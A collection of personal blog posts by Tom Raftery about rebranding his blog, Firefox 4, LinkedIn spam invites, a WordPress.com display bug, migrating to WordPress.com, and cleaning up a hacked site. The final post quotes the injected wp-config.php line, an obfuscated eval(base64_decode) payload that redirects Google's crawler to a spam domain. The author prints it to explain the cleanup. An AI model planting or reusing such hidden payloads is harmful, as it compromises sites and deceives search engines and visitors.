Tom Raftery’s Social Sustainability – site re-brand

Beauty of nature

I started this blog back in July 2004 – back then a lot of my posts were centered around Open Source and web technologies in general. Back then the blog was branded Tom Raftery’s IT views.

Then in April 2007 I (belatedly) re-branded the blog Tom Raftery’s Social Media because I had been blogging almost exclusively about Social media since 2005!

In May 2008 I joined RedMonk as an industry Analyst, leading our research into Energy and Sustainability and blogging at GreenMonk.net. After that this site languished a bit I’m sorry to say.

Now though, I’m hoping to start blogging here a little more regularly on the intersection of the two topics I have been blogging about most for the last six/seven years, and am most passionate about, Social Media and Sustainability.

With that in mind, I have once more re-branded the site Tom Raftery’s Social Sustainability – I hope you like it.

Firefox 4 Beta 10 is out – it’s time to upgrade!

Firefox 4 Screenshot
Firefox 4 Screenshot

I downloaded Firefox 4 Beta 10 yesterday on my Mac.

It was released just days after Beta 9 and I’m not sure what all the differences are between Beta 9 and Beta 10 are but I had been using Firefox 4 Beta 9 since it was released and I really liked it, so I downloaded Beta 10 to stay up-to-date.

Firefox 4 Beta 9 was the first version of Firefox 4 I tried out. Previous to that I had been running on 3.6.13 and I found it quite buggy. It would quite often freeze up completely, requiring me to force-quit it and it is not like I have a huge number of Add-ons installed.

Adding a link in Firefox 4
Adding a link in Firefox 4
Adding a link in Safari 5
Adding a link in Safari 5

Anyway, Firefox four is a huge improvement. It runs extremely quickly, is very stable and from an aesthetic point of view it is a really gorgeous browser (not often you hear me say that!).

Even things as mundane as adding a link in WordPress look fabulous compared to the same dialog in Safari (v 5.0.3).

There are other cool features associated with Firefox 4 as well (like the ability to sync tabs etc. across machines, new Add-on management, tab organisation – I really needed this one! and more) and they are all outlined on the Firefox 4 Beta 10 features page.

Many of them you’ll probably never use but for me, the beauty of this browser and its stability are enough for me – I’m not going back to Firefox 3 again.

“Since you are a person I trust, I wanted to invite you to join my network on LinkedIn” – Is this a new form of spam?

LinkedIn Spam Connection Request
LinkedIn Spam Connection Request?

In the last three days I have received 3 invitations to connect with total strangers on LinkedIn – in and of itself, that’s not all that unusual. I often receive invitations from strangers to connect on LinkedIn – most I quietly ignore.

What made these invitations different was the fact that they were all worded identically – they all said:

Since you are a person I trust, I wanted to invite you to join my network on LinkedIn.

This wouldn’t be all that unusual if that were the default text provided by LinkedIn when you request to connect to someone, but it is not. When you normally try to connect with someone on LinkedIn, it sends the text

I’d like to add you to my professional network on LinkedIn

Official LinkedIn connection request
Official LinkedIn connection request

Maybe LinkedIn are trialling the new wording and only certain people get it when they try to connect with people.

Maybe, it is being trialled only in certain regions.

Maybe you get this wording when you chose a different type of connection request.

Or, and I suspect this is the case, this is a new type of spambot trying to gain connections on LinkedIn.

None of the three accounts had more than 7 connections. None had filled out their profiles and none had any shared connections with me.

I guess there is a chance that this is default text, for new accounts only, on LinkedIn.

However, I have to think it is spam – be warned and don’t connect to anyone whose invite has this wording

Since you are a person I trust, I wanted to invite you to join my network on LinkedIn

unless you know them extremely well and even then, confirm with an email before accepting, just to be sure.

Media buttons not displaying in WordPress.com Add New Post screen in Safari

I’m new to WordPress.com (though been a WordPress.org user since 2004) so forgive me if this is old news but the WordPress.com New Post dialog box doesn’t display properly in Safari (version 5.03 on OS X 10.6.6, at least).

If you look at the image below you can see that the Media buttons normally to the right of Upload/Insert are missing – in fact the only button displaying there is the Add Poll button.

WordPress.com Add New Post in Safari
WordPress.com Add New Post in Safari

Viewing the same screen in Firefox (version 3.6.13 on OS X 10.6.6) does display the buttons. Note also that under the Media menu item on the left, the Library and Add New items are correctly aligned in Firefox, but they are not in Safari.

WordPress.com Add New Post in Firefox
WordPress.com Add New Post in Firefox

One thing that the Safari screen does get right however is that it displays the Alt text for the buttons on rollover, whereas Firefox doesn’t.

One other thing I did notice (which is non-obvious, but helped by the appearance of the Alt text) is that while the media buttons don’t appear in Safari, if you rollover the space between the Upload/Insert and the Poll button, the functionality of the buttons is there, it is simply that they don’t display!!! How bizarre.

As I said at the outset, I’m new to WordPress.com, so if this is a well worn topic, forgive me – it is just new to me.

Moved to WordPress and new domain!

I gave up!

This blog was hacked again and the database taken down. As this is no longer my primary blog (and I post here infrequently now) I decided the best course of action would be to simply take it off my server and give it to WordPress.com to host (the chances of it being hacked there are remote!).

I have wanted to change the domain of the blog for quite some time as well so I decided to combine the two jobs into one.

I already owned TomRaftery.com and it was doing nothing so I decided to use this as it is a more appropriate url for the site.

To upload the site to WordPress.com I first created a blank WordPress.com blog (simply by signing up and verifying email – a 2 second job).

WordPress 15mb Import limit
WordPress 15mb Import limit

Then I went to my old site and created an export file (Tools -> Export) – this downloaded a 24mb xml file to my computer. When I went to the WordPress.com to do the import I spotted that the Import message read “Choose a file from your computer: (Maximum size: 15mb)”. Oops! – this was going to be an issue.

I thought about going into the xml file and manually editing it but when I opened it I saw it was over 400,000 lines long and I really didn’t want to mess it up so I thought again.

I checked the spam list on the site and I saw there were thousands of spam comments in there. What if I deleted them and tried again? I did and sure enough this knocked the xml file size down to 17mb – an improvement but still too large to import. What to do?

WordPress Blog Export options
WordPress Blog Export options

Then I had a brainwave (should have been obvious really) – what if I split the export into two files? So I tried it, I first exported all blog posts up until December 2006 and then I did another export of all the blog posts from January 2007 until the most recent post (November 2010).

This created two files of less than 15mb each which could now be imported. Would WordPress.com allow me to import two files totaling more than 15mb? I didn’t know but figured it couldn’t hurt to try, so try I did and it worked a treat!

Now that all my blog posts (and their associated comments, categories, tags, etc) were imported the next step was to associate it with the TomRaftery.com domain. This required me to update the nameservers for the domain to point to WordPress nameservers (after paying for the domain pointing service from WordPress). Then I had to set it as the primary domain for the site (see below).

WordPress domain management
WordPress domain management

The last step was to go back to the old TomRafteryit.net domain and set a permanent (301) re-direct on it so that people (and search engines) would be re-directed over here to the new TomRaftery.com domain – now safely hosted on WordPress.com servers.

So here we are. If you are reading this – welcome to the old blog on this new site. Thanks for taking the time and hopefully I won’t leave it so long to the next post!

Blog still hacked?

I mentioned here the other day that this blog was hacked and I thought I had resolved it – now I’m not so sure.

The hack is a tricky one because the spam it is displaying is only visible in Google Reader! (and not in any other RSS reader).

I have completely deleted all the WordPress files, including themes and plug-ins, and uploaded fresh copies of them. I have hardened the file permissions run scans and a few other recommended steps but when I log in to Google Reader I still see new spam posts. This is very disheartening.

I’m hoping that the situation is, in fact, resolved and that Google Reader simply hasn’t updated its cache. The hack also did a 302 re-direct on the feed, so perhaps Google needs to refresh its DNS, I’m not sure, nor am I sure hoow often they perform this.

So for now, I’m in a holding position. I won’t make any more changes and I’ll see if the spam continues.

Stay tuned!!!

Blog hacked? UPDATED

This blog appears to have been hacked somehow.

This is my old blog and apart from a test posting the other day, I hadn’t added any new posts since May 2009.

Blog posts

However, when you view this blog’s feed in Google Reader it appears to be full of spammy posts.

Spammy posts in Google Reader

The spammy posts don’t show up when viewing the blog’s feed in Firefox (or Safari) RSS readers – it seems to be confined to Google Reader somehow.

Feed seen in Firefox

I also checked the backend mysql database and the spammy posts are not there so I’m not sure where they are coming from.

I was using the FeedBurner Feedsmith plugin for handling this blog’s feeds but I deactivated that over the weekend when I first became aware of this issue. I thought perhaps the FeedBurner feed may have been hacked so that if I turned it off, any cached spam posts would be cleared out after a day or so, however it seems to not only have persisted but more posts have been added.

Anyone any idea how this is happening and what I can do to stop it?

UPDATE –

With help from Ewan – I discovered that (after looking around at a lot of other files) the wp-config.php file had been edited. The following line had been added

eval(base64_decode('JGFnZW50PSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZihlcmV
naSgiZ29vZ2xlIiwgJGFnZW50KSl7aGVhZGVyKCJIVFRQLzEuMSAzMDEiKTtoZWFkZXIoIkxv
Y2F0aW9uOiBodHRwOi8vYmFibG8ubWUudWsvIik7ZXhpdCgpO30='));

To be safe, I FTP’d in to the server, deleted the wp-config.php file and uploaded a clean one.

The site is now back to working as expected, apologies to anyone who was exposed to the spammy links.

I’ll now go back over the site again with the proverbial fine-toothed comb to see if I can find any other suspicious changes that were made to it.